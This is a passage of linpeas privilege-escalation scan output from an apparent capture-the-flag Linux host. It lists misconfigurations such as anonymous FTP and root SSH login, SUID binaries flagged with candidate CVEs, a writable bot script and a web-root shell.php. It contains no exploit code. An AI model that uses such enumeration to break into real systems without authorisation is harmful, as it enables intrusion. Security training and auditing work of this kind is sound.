/etc/apache2/mods-enabled/php8.3.conf:    SetHandler application/x-httpd-php-source
--
/etc/apache2/mods-available/php8.3.conf-&amp;lt;FilesMatch &amp;quot;.+\.ph(?:ar|p|tml)$&amp;quot;&amp;gt;
/etc/apache2/mods-available/php8.3.conf:    SetHandler application/x-httpd-php
--
/etc/apache2/mods-available/php8.3.conf-&amp;lt;FilesMatch &amp;quot;.+\.phps$&amp;quot;&amp;gt;
/etc/apache2/mods-available/php8.3.conf:    SetHandler application/x-httpd-php-source
══╣ PHP exec extensions
drwxr-xr-x 2 root root 4096 Jan 22 12:12 /etc/apache2/sites-enabled                                             
drwxr-xr-x 2 root root 4096 Jan 22 12:12 /etc/apache2/sites-enabled                                             
lrwxrwxrwx 1 root root 31 Jan 22 12:11 /etc/apache2/sites-enabled/tmpfile.conf -&amp;gt; ../sites-available/tmpfile.conf                                                       
&amp;lt;VirtualHost *:80&amp;gt;
    ServerName tmpfile.dsz
    DocumentRoot /var/www/html
    &amp;lt;Directory /var/www/html&amp;gt;
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    &amp;lt;/Directory&amp;gt;
    ErrorLog ${APACHE_LOG_DIR}/tmpfile_error.log
    CustomLog ${APACHE_LOG_DIR}/tmpfile_access.log combined
&amp;lt;/VirtualHost&amp;gt;
lrwxrwxrwx 1 root root 33 Jan 22 12:11 /etc/apache2/sites-enabled/localhost.conf -&amp;gt; ../sites-available/localhost.conf                                                   
&amp;lt;VirtualHost *:80&amp;gt;
    ServerName localhost
    DocumentRoot /var/www/localhost
    ErrorLog ${APACHE_LOG_DIR}/localhost_error.log
    CustomLog ${APACHE_LOG_DIR}/localhost_access.log combined
&amp;lt;/VirtualHost&amp;gt;


-rw-r--r-- 1 root root 1332 Aug 14  2024 /etc/apache2/sites-available/000-default.conf
&amp;lt;VirtualHost *:80&amp;gt;
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;

-rw-r--r-- 1 root root 73769 Jan 22 11:54 /etc/php/8.3/apache2/php.ini
allow_url_fopen = On
allow_url_include = Off
odbc.allow_persistent = On
mysqli.allow_persistent = On
pgsql.allow_persistent = On
-rw-r--r-- 1 root root 73714 Mar 13  2025 /etc/php/8.3/cli/php.ini
allow_url_fopen = On
allow_url_include = Off
odbc.allow_persistent = On
mysqli.allow_persistent = On
pgsql.allow_persistent = On



╔══════════╣ Analyzing MariaDB Files (limit 70)
-rw-r--r-- 1 root root 1126 Nov 30  2023 /etc/mysql/mariadb.cnf                                                 
[client-server]
socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/


╔══════════╣ Analyzing PAM Auth Files (limit 70)
drwxr-xr-x 2 root root 4096 Jan 22 12:17 /etc/pam.d     
-rw-r--r-- 1 root root 2133 Dec 21  2023 /etc/pam.d/sshd
account    required     pam_nologin.so
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close
session    required     pam_loginuid.so
session    optional     pam_keyinit.so force revoke
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
session    optional     pam_mail.so standard noenv # [1]
session    required     pam_limits.so
session    required     pam_env.so # [1]
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open


╔══════════╣ Analyzing Ldap Files (limit 70)
The password hash is from the {SSHA} to &amp;#39;structural&amp;#39;    
drwxr-xr-x 2 root root 4096 Mar 31  2025 /etc/ldap


╔══════════╣ Analyzing Keyring Files (limit 70)
drwxr-xr-x 2 root root 4096 Mar 18  2025 /usr/share/keyrings                                                    




╔══════════╣ Analyzing FTP Files (limit 70)
-rw-r--r-- 1 root root 6137 Jan 22 13:49 /etc/vsftpd.conf                                                       
anonymous_enable=YES
no_anon_password=YES
anon_root=/var/ftp/pub
local_enable=YES
write_enable
anon_upload_enable
anon_mkdir_write_enable
anon_other_write_enable
local_enable=YES
#write_enable=YES
#anon_upload_enable=YES
#anon_mkdir_write_enable=YES
#chown_uploads=YES
#chown_username=whoever
-rw-r--r-- 1 root root 41 Jun 18  2015 /usr/lib/tmpfiles.d/vsftpd.conf
-rw-r--r-- 1 root root 564 Aug  6  2019 /usr/share/doc/vsftpd/examples/INTERNET_SITE_NOINETD/vsftpd.conf
anonymous_enable
local_enable
write_enable
anon_upload_enable
anon_mkdir_write_enable
anon_other_write_enable
-rw-r--r-- 1 root root 506 Aug  6  2019 /usr/share/doc/vsftpd/examples/INTERNET_SITE/vsftpd.conf
anonymous_enable
local_enable
write_enable
anon_upload_enable
anon_mkdir_write_enable
anon_other_write_enable
-rw-r--r-- 1 root root 260 Feb  1  2008 /usr/share/doc/vsftpd/examples/VIRTUAL_USERS/vsftpd.conf
anonymous_enable
local_enable=YES
write_enable
anon_upload_enable
anon_mkdir_write_enable
anon_other_write_enable
-rw-r--r-- 1 root root 69 Mar 13  2025 /etc/php/8.3/mods-available/ftp.ini
-rw-r--r-- 1 root root 69 Mar 13  2025 /usr/share/php8.3-common/common/ftp.ini
╔══════════╣ Analyzing Other Interesting Files (limit 70)                                                       
-rw-r--r-- 1 root root 3526 Apr 18  2019 /etc/skel/.bashrc                                                      
-rw-r--r-- 1 Eecho Eecho 3526 Apr 18  2019 /home/Eecho/.bashrc                                                  
-rw-r--r-- 1 root root 807 Apr 18  2019 /etc/skel/.profile                                                      
-rw-r--r-- 1 Eecho Eecho 807 Apr 18  2019 /home/Eecho/.profile                                                  
╔══════════╣ Analyzing Windows Files (limit 70)
lrwxrwxrwx 1 root root 22 Mar 31  2025 /etc/alternatives/my.cnf -&amp;gt; /etc/mysql/mariadb.cnf
lrwxrwxrwx 1 root root 24 Mar 31  2025 /etc/mysql/my.cnf -&amp;gt; /etc/alternatives/my.cnf
-rw-r--r-- 1 root root 83 Mar 31  2025 /var/lib/dpkg/alternatives/my.cnf
╔══════════╣ Searching mysql credentials and exec
Found readable /etc/mysql/my.cnf                        
[client-server]
socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

MySQL process not found.
╔══════════╣ Analyzing PGP-GPG Files (limit 70)
/usr/bin/gpg                                            
netpgpkeys Not Found
netpgp Not Found                                                                                           
-rw-r--r-- 1 root root 8700 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-automatic.gpg
-rw-r--r-- 1 root root 8709 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-security-automatic.gpg
-rw-r--r-- 1 root root 280 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-stable.gpg
-rw-r--r-- 1 root root 8700 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-automatic.gpg
-rw-r--r-- 1 root root 8709 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-security-automatic.gpg
-rw-r--r-- 1 root root 2453 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-stable.gpg
-rw-r--r-- 1 root root 8132 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
-rw-r--r-- 1 root root 8141 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
-rw-r--r-- 1 root root 2332 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
-rw-r--r-- 1 root root 7443 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
-rw-r--r-- 1 root root 7452 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
-rw-r--r-- 1 root root 2263 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
-rw-r--r-- 1 root root 0 Apr  1  2025 /etc/apt/trusted.gpg.d/ondrej_ubuntu_php.gpg
-rw-r--r-- 1 root root 1769 Apr  1  2025 /etc/apt/trusted.gpg.d/php.gpg
-rw-r--r-- 1 root root 2899 Jul  1  2022 /usr/share/gnupg/distsigkey.gpg
-rw-r--r-- 1 root root 8700 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-automatic.gpg
-rw-r--r-- 1 root root 8709 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-security-automatic.gpg
-rw-r--r-- 1 root root 280 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-stable.gpg
-rw-r--r-- 1 root root 8700 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-automatic.gpg
-rw-r--r-- 1 root root 8709 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-security-automatic.gpg
-rw-r--r-- 1 root root 2453 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-stable.gpg
-rw-r--r-- 1 root root 8132 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-automatic.gpg
-rw-r--r-- 1 root root 8141 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-security-automatic.gpg
-rw-r--r-- 1 root root 2332 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-stable.gpg
-rw-r--r-- 1 root root 73314 Jun 22  2023 /usr/share/keyrings/debian-archive-keyring.gpg
-rw-r--r-- 1 root root 36873 Jun 22  2023 /usr/share/keyrings/debian-archive-removed-keys.gpg
-rw-r--r-- 1 root root 7443 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-automatic.gpg
-rw-r--r-- 1 root root 7452 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-security-automatic.gpg
-rw-r--r-- 1 root root 2263 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-stable.gpg
╔══════════╣ Searching uncommon passwd files (splunk)
passwd file: /etc/pam.d/passwd                          
passwd file: /etc/passwd
passwd file: /usr/share/lintian/overrides/passwd

╔══════════╣ Searching ssl/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)             
-rw-r--r-- 1 root root 172 Mar 18  2025 /etc/ssh/ssh_host_ecdsa_key.pub
-rw-r--r-- 1 root root 92 Mar 18  2025 /etc/ssh/ssh_host_ed25519_key.pub
-rw-r--r-- 1 root root 564 Mar 18  2025 /etc/ssh/ssh_host_rsa_key.pub
PermitRootLogin yes
ChallengeResponseAuthentication no
UsePAM yes
══╣ Some certificates were found (out limited):
/etc/ssl/certs/ACCVRAIZ1.pem                            
/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
/etc/ssl/certs/AffirmTrust_Commercial.pem
/etc/ssl/certs/AffirmTrust_Networking.pem
/etc/ssl/certs/AffirmTrust_Premium_ECC.pem
/etc/ssl/certs/AffirmTrust_Premium.pem
/etc/ssl/certs/Amazon_Root_CA_1.pem
/etc/ssl/certs/Amazon_Root_CA_2.pem
/etc/ssl/certs/Amazon_Root_CA_3.pem
/etc/ssl/certs/Amazon_Root_CA_4.pem
/etc/ssl/certs/Atos_TrustedRoot_2011.pem
/etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
/etc/ssl/certs/Baltimore_CyberTrust_Root.pem
/etc/ssl/certs/Buypass_Class_2_Root_CA.pem
/etc/ssl/certs/Buypass_Class_3_Root_CA.pem
/etc/ssl/certs/ca-certificates.crt
/etc/ssl/certs/CA_Disig_Root_R2.pem
/etc/ssl/certs/Certigna.pem
/etc/ssl/certs/Certigna_Root_CA.pem
12580PSTORAGE_CERTSBIN

══╣ Writable ssh and gpg agents
/etc/systemd/user/sockets.target.wants/gpg-agent.socket 
/etc/systemd/user/sockets.target.wants/gpg-agent-browser.socket
/etc/systemd/user/sockets.target.wants/gpg-agent-extra.socket
/etc/systemd/user/sockets.target.wants/gpg-agent-ssh.socket
══╣ Some home ssh config file was found
/usr/share/openssh/sshd_config                          
Include /etc/ssh/sshd_config.d/*.conf
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server
══╣ /etc/hosts.allow file found, trying to read the rules:                                                      
/etc/hosts.allow                                        
Searching inside /etc/ssh/ssh_config for interesting info
Include /etc/ssh/ssh_config.d/*.conf
Host *
    SendEnv LANG LC_*
    HashKnownHosts yes
    GSSAPIAuthentication yes
                      ╔════════════════════════════════════╗                                                    
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                              
                      ╚════════════════════════════════════╝                                                    
╔══════════╣ SUID - Check easy privesc, exploits and write perms                                                
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid                 
strace Not Found                                        
-rwsr-xr-x 1 root root 44K Jul 27  2018 /usr/bin/chsh   
-rwsr-xr-x 1 root root 53K Jul 27  2018 /usr/bin/chfn  ---&amp;gt;  SuSE_9.3/10                                        
-rwsr-xr-x 1 root root 44K Jul 27  2018 /usr/bin/newgrp  ---&amp;gt;  HP-UX_10.20                                      
-rwsr-xr-x 1 root root 83K Jul 27  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 47K Apr  6  2024 /usr/bin/mount  ---&amp;gt;  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8                                             
-rwsr-xr-x 1 root root 63K Apr  6  2024 /usr/bin/su
-rwsr-xr-x 1 root root 35K Apr  6  2024 /usr/bin/umount  ---&amp;gt;  BSD/Linux(08-1996)                               
-rwsr-xr-x 1 root root 23K Jan 13  2022 /usr/bin/pkexec  ---&amp;gt;  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034                          
-rwsr-xr-x 1 root root 179K Jan 14  2023 /usr/bin/sudo  ---&amp;gt;  check_if_the_sudo_version_is_vulnerable           
-rwsr-xr-x 1 root root 63K Jul 27  2018 /usr/bin/passwd  ---&amp;gt;  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                  
-rwsr-xr-- 1 root messagebus 51K Jun  6  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device                                       
-rwsr-xr-x 1 root root 471K Dec 21  2023 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 19K Jan 13  2022 /usr/libexec/polkit-agent-helper-1                                      
╔══════════╣ SGID
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid                 
-rwxr-sr-x 1 root shadow 39K Feb 14  2019 /usr/sbin/unix_chkpwd                                                 
-rwxr-sr-x 1 root ssh 347K Dec 21  2023 /usr/bin/ssh-agent                                                      
-rwxr-sr-x 1 root shadow 71K Jul 27  2018 /usr/bin/chage
-rwxr-sr-x 1 root shadow 31K Jul 27  2018 /usr/bin/expiry                                                       
-rwxr-sr-x 1 root tty 15K May  4  2018 /usr/bin/bsd-write                                                       
-rwxr-sr-x 1 root crontab 43K Oct 11  2019 /usr/bin/crontab                                                     
╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#acls                          
files with acls in searched folders Not Found                                     
╔══════════╣ Capabilities
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities                  
══╣ Current shell capabilities                          
./linpeas.sh: 7794: ./linpeas.sh: [[: not found         
CapInh:  [Invalid capability format]
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
CapPrm:  [Invalid capability format]
./linpeas.sh: 7785: ./linpeas.sh: [[: not found
CapEff:  [Invalid capability format]
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
CapBnd:  [Invalid capability format]
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
CapAmb:  [Invalid capability format]

╚ Parent process capabilities
./linpeas.sh: 7819: ./linpeas.sh: [[: not found         
CapInh:  [Invalid capability format]
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
CapPrm:  [Invalid capability format]
./linpeas.sh: 7810: ./linpeas.sh: [[: not found
CapEff:  [Invalid capability format]
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
CapBnd:  [Invalid capability format]
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
CapAmb:  [Invalid capability format]
Files with capabilities (limited to 50):
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

╔══════════╣ Checking misconfigurations of ld.so
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#ldso                          
/etc/ld.so.conf                                         
Content of /etc/ld.so.conf:                             
include /etc/ld.so.conf.d/*.conf
/etc/ld.so.conf.d
  /etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf      
  - /usr/lib/x86_64-linux-gnu/libfakeroot               
  /etc/ld.so.conf.d/libc.conf
  - /usr/local/lib                                      
  /etc/ld.so.conf.d/x86_64-linux-gnu.conf
  - /usr/local/lib/x86_64-linux-gnu                     
  - /lib/x86_64-linux-gnu
  - /usr/lib/x86_64-linux-gnu

/etc/ld.so.preload
╔══════════╣ Files (scripts) in /etc/profile.d/         
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#profiles-files                
total 8                                                 
drwxr-xr-x  2 root root 4096 Sep  3  2022 .
drwxr-xr-x 83 root root 4096 Jan 24 02:15 ..

╔══════════╣ Permissions in init, init.d, systemd, and rc.d                                                     
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd    
                                                        
╔══════════╣ AppArmor binary profiles
-rw-r--r-- 1 root root  729 Nov 13  2020 usr.sbin.inspircd

═╣ Hashes inside passwd file? ........... No
═╣ Writable passwd file? ................ No            
═╣ Credentials in fstab/mtab? ........... No            
═╣ Can I read shadow files? ............. No            
═╣ Can I read shadow plists? ............ No            
═╣ Can I write shadow plists? ........... No            
═╣ Can I read opasswd file? ............. No            
═╣ Can I write in network-scripts? ...... No            
═╣ Can I read root folder? .............. No            
                                                        
╔══════════╣ Searching root files in home dirs (limit 30)                                                       
/home/                                                  
/root/
/var/www
/var/www/html/uploads/syz.png
/var/www/localhost/index.html

╔══════════╣ Searching folders owned by me containing others files on it (limit 100)                            
                                                        
╔══════════╣ Readable files belonging to root and readable by me but not world readable                         
                                                        
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)             
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files                
/dev/mqueue                                             
/dev/shm
/home/Eecho
/run/lock
/run/user/1000
/run/user/1000/dbus-1
/run/user/1000/dbus-1/services
/run/user/1000/gnupg
/run/user/1000/systemd
/run/user/1000/systemd/inaccessible
/run/user/1000/systemd/inaccessible/dir
/run/user/1000/systemd/inaccessible/reg
/run/user/1000/systemd/units
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/usr/local/bin/irc_bot.py
/var/lib/php/sessions
/var/tmp
/var/www/html/shell.php

╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)                                           
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files                
                            ╔═════════════════════════╗
════════════════════════════╣ Other Interesting Files ╠════════════════════════════                             
                            ╚═════════════════════════╝ 
╔══════════╣ .sh files in path
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path        
/usr/bin/gettext.sh                                     

╔══════════╣ Executable files potentially added by user (limit 70)                                              
2026-01-22+11:35:24.8002567090 /var/www/html/index.php  
2025-04-11+22:22:32.8990844810 /etc/grub.d/10_linux
2025-04-11+22:07:00.9628442610 /etc/grub.d/40_custom
2025-04-05+08:32:38.1253354200 /usr/local/bin/irc_bot.py
2025-04-01+03:55:32.0919414020 /usr/local/bin/calc-prorate

╔══════════╣ Unexpected in /opt (usually empty)
total 12                                                
drwxr-xr-x  2 root root 4096 Jan 22 12:29 .
drwxr-xr-x 18 root root 4096 Mar 18  2025 ..
-rw-r--r--  1 root root   31 Jan 22 12:29 Eecho_pass.txt

╔══════════╣ Unexpected in root
/initrd.img.old                                         
/vmlinuz.old
/vmlinuz
/initrd.img

╔══════════╣ Modified interesting files in the last 5mins (limit 100)                                           
/home/Eecho/.gnupg/trustdb.gpg                          
/home/Eecho/.gnupg/pubring.kbx
/var/log/syslog
/var/log/auth.log
/var/log/daemon.log
/var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/system.journal
/var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/user-1000.journal

╔══════════╣ Writable log files (logrotten) (limit 50)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#logrotate-exploitation        
logrotate 3.14.0                                        

    Default mail command:       /usr/bin/mail
    Default compress command:   /bin/gzip
    Default uncompress command: /bin/gunzip
    Default compress extension: .gz
    Default state file path:    /var/lib/logrotate/status
    ACL support:                yes
    SELinux support:            yes
╔══════════╣ Syslog configuration (limit 50)
                                                        


module(load=&amp;quot;imuxsock&amp;quot;) # provides support for local system logging                                             
module(load=&amp;quot;imklog&amp;quot;)   # provides kernel logging support                                                       





$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat

$FileOwner root
$FileGroup adm
$FileCreateMode 0640
$DirCreateMode 0755
$Umask 0022

$WorkDirectory /var/spool/rsyslog

$IncludeConfig /etc/rsyslog.d/*.conf



auth,authpriv.*                 /var/log/auth.log
*.*;auth,authpriv.none          -/var/log/syslog
daemon.*                        -/var/log/daemon.log
kern.*                          -/var/log/kern.log
lpr.*                           -/var/log/lpr.log
mail.*                          -/var/log/mail.log
user.*                          -/var/log/user.log

mail.info                       -/var/log/mail.info
mail.warn                       -/var/log/mail.warn
mail.err                        /var/log/mail.err

*.=debug;\
        auth,authpriv.none;\
        news.none;mail.none     -/var/log/debug
*.=info;*.=notice;*.=warn;\
        auth,authpriv.none;\
        cron,daemon.none;\
        mail,news.none          -/var/log/messages

*.emerg                         :omusrmsg:*
╔══════════╣ Auditd configuration (limit 50)
auditd configuration Not Found                          
╔══════════╣ Log files with potentially weak perms (limit 50)                                                   
   133959     36 -rw-r-----   1 root     adm         29127 Jan 24 01:26 /var/log/debug                          
   133873    112 -rw-r-----   1 root     adm        106530 Jan 22 10:40 /var/log/daemon.log.1                   
   132336      4 -rw-r-----   1 root     adm          1690 Apr 11  2025 /var/log/user.log.1                     
   130894     12 -rw-r-----   1 root     adm         11876 Mar 31  2025 /var/log/apt/term.log.2.gz              
   133108      0 -rw-r-----   1 root     adm             0 Jan 22 23:43 /var/log/apt/term.log                   
   133311     12 -rw-r-----   1 root     adm         10140 Apr 11  2025 /var/log/apt/term.log.1.gz              
   133841    184 -rw-r-----   1 root     adm        181706 Jan 24 02:02 /var/log/kern.log                       
   130851     12 -rw-r-----   1 root     adm         10400 Jan 24 02:22 /var/log/syslog                         
   133881     24 -rw-r-----   1 root     adm         18561 Jan 22 10:40 /var/log/auth.log.1                     
   130855    224 -rw-r-----   1 root     adm        228576 Apr 11  2025 /var/log/kern.log.2.gz                  
   133942      8 -rw-r-----   1 root     adm          5197 Jan 24 02:22 /var/log/auth.log                       
   133852     88 -rw-r-----   1 root     adm         89768 Apr  5  2025 /var/log/syslog.4.gz                    
   132383      0 -rw-r-----   1 irc      adm             0 Mar 31  2025 /var/log/inspircd.log                   
   130901     60 -rw-r-----   1 root     adm         57994 Jan 24 01:26 /var/log/syslog.1                       
   133518     52 -rw-r-----   1 root     adm         50014 Apr 11  2025 /var/log/daemon.log.2.gz                
   133005     28 -rw-r-----   1 root     adm         26517 Apr  1  2025 /var/log/syslog.7.gz                    
   133892     56 -rw-r-----   1 root     adm         49492 Jan 22 10:40 /var/log/debug.1                        
   133387     16 -rw-r-----   1 root     adm         14763 Apr 11  2025 /var/log/syslog.3.gz                    
   130852      8 -rw-r-----   1 root     adm          7408 Apr 11  2025 /var/log/auth.log.2.gz                  
   134195    108 -rw-r-----   1 root     adm        107576 Jan 22 10:40 /var/log/syslog.2.gz                    
   132238      4 -rw-------   1 irc      irc           328 Mar 31  2025 /var/log/ircd/ircd-hybrid-user.log      
   132234      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-oper.log      
   132224      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-kill.log      
   132227      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-dline.log     
   132240      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-debug.log     
   132226      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-kline.log     
   132233      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-resv.log      
   132231      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-xline.log     
   132995     44 -rw-r-----   1 root     adm         41915 Apr  3  2025 /var/log/syslog.6.gz                    
   130857     16 -rw-r-----   1 root     adm         13708 Apr 11  2025 /var/log/debug.2.gz                     
   130854     72 -rw-r-----   1 root     adm         68886 Jan 24 02:22 /var/log/daemon.log                     
   130853    196 -rw-r-----   1 root     adm        198715 Apr 11  2025 /var/log/messages.2.gz                  
   133953      4 -rw-r-----   1 root     adm           203 Jan 24 01:53 /var/log/user.log                       
   133960    152 -rw-r-----   1 root     adm        152640 Jan 24 02:02 /var/log/messages                       
   131094     16 -rw-r-----   1 root     adm         13851 Apr  4  2025 /var/log/syslog.5.gz                    
   133899    312 -rw-r-----   1 root     adm        311774 Jan 22 10:40 /var/log/messages.1                     
   133876    356 -rw-r-----   1 root     adm        357157 Jan 22 10:40 /var/log/kern.log.1                     

╔══════════╣ Files inside /home/Eecho (limit 20)
total 4012                                              
drwxr-xr-x 3 Eecho Eecho    4096 Jan 24 02:22 .
drwxr-xr-x 3 root  root     4096 Jan 22 11:51 ..
-rw-r--r-- 1 Eecho Eecho     220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 Eecho Eecho    3526 Apr 18  2019 .bashrc
drwx------ 3 Eecho Eecho    4096 Jan 24 02:22 .gnupg
-rwxrwxrwx 1 Eecho Eecho  971926 Nov 15 10:04 linpeas.sh
-rw-r--r-- 1 Eecho Eecho     807 Apr 18  2019 .profile
-rwxrwxrwx 1 Eecho Eecho 3104768 Jan 11 08:51 pspy64
-rw------- 1 Eecho Eecho      44 Jan 22 12:59 user.txt

╔══════════╣ Files inside others home (limit 20)
/var/www/html/uploads/.htaccess                         
/var/www/html/uploads/mac.png
/var/www/html/uploads/syz.png
/var/www/html/uploads/mac.jpg
/var/www/html/shell.php
/var/www/html/index.php
/var/www/localhost/index.html

╔══════════╣ Searching installed mail applications
                                                        
╔══════════╣ Mails (limit 50)
                                                        
╔══════════╣ Backup folders
drwxr-xr-x 2 root root 4096 Jan 24 02:07 /var/backups   
total 44
-rw-r--r-- 1 root root 24014 Jan 22 12:40 apt.extended_states.0
-rw-r--r-- 1 root root  2568 Apr 11  2025 apt.extended_states.1.gz
-rw-r--r-- 1 root root  2556 Apr  4  2025 apt.extended_states.2.gz
-rw-r--r-- 1 root root  2006 Apr  1  2025 apt.extended_states.3.gz
-rw-r--r-- 1 root root  1542 Apr  1  2025 apt.extended_states.4.gz
-rw-r--r-- 1 root root   757 Mar 30  2025 apt.extended_states.5.gz


╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 9731 Jun 30  2022 /usr/lib/modules/4.19.0-21-amd64/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 9731 Jun 25  2024 /usr/lib/modules/4.19.0-27-amd64/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 416107 Dec 21  2020 /usr/share/doc/manpages/Changes.old.gz
-rw-r--r-- 1 root root 194817 Oct  9  2020 /usr/share/doc/x11-common/changelog.Debian.old.gz
-rw-r--r-- 1 root root 1133 Jan 22 12:34 /etc/inetd.conf.bak                                                    

╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)                                
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3027002

 -&amp;gt; Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
                                                        
╔══════════╣ Web files?(output limit)
/var/www/:                                              
total 16K
drwxr-xr-x  4 root     root     4.0K Jan 22 12:00 .
drwxr-xr-x 13 root     root     4.0K Jan 22 12:27 ..
drwxr-xr-x  3 www-data www-data 4.0K Jan 24 01:53 html
drwxr-xr-x  2 www-data www-data 4.0K Jan 22 13:50 localhost

/var/www/html:
total 24K
drwxr-xr-x 3 www-data www-data 4.0K Jan 24 01:53 .

╔══════════╣ All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)       
-rw-r--r-- 1 root root 0 Jan 24 01:26 /run/network/.ifstate.lock
-rw-r--r-- 1 root root 0 Feb 22  2021 /usr/share/dictionaries-common/site-elisp/.nosearch
-rw-r--r-- 1 Eecho Eecho 220 Apr 18  2019 /home/Eecho/.bash_logout
-rw-r--r-- 1 root root 220 Apr 18  2019 /etc/skel/.bash_logout
-rw------- 1 root root 0 Mar 18  2025 /etc/.pwd.lock
-rw-r--r-- 1 www-data www-data 71 Jan 24 01:48 /var/www/html/uploads/.htaccess

╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)                                   
                                                        
╔══════════╣ Searching passwords in history files
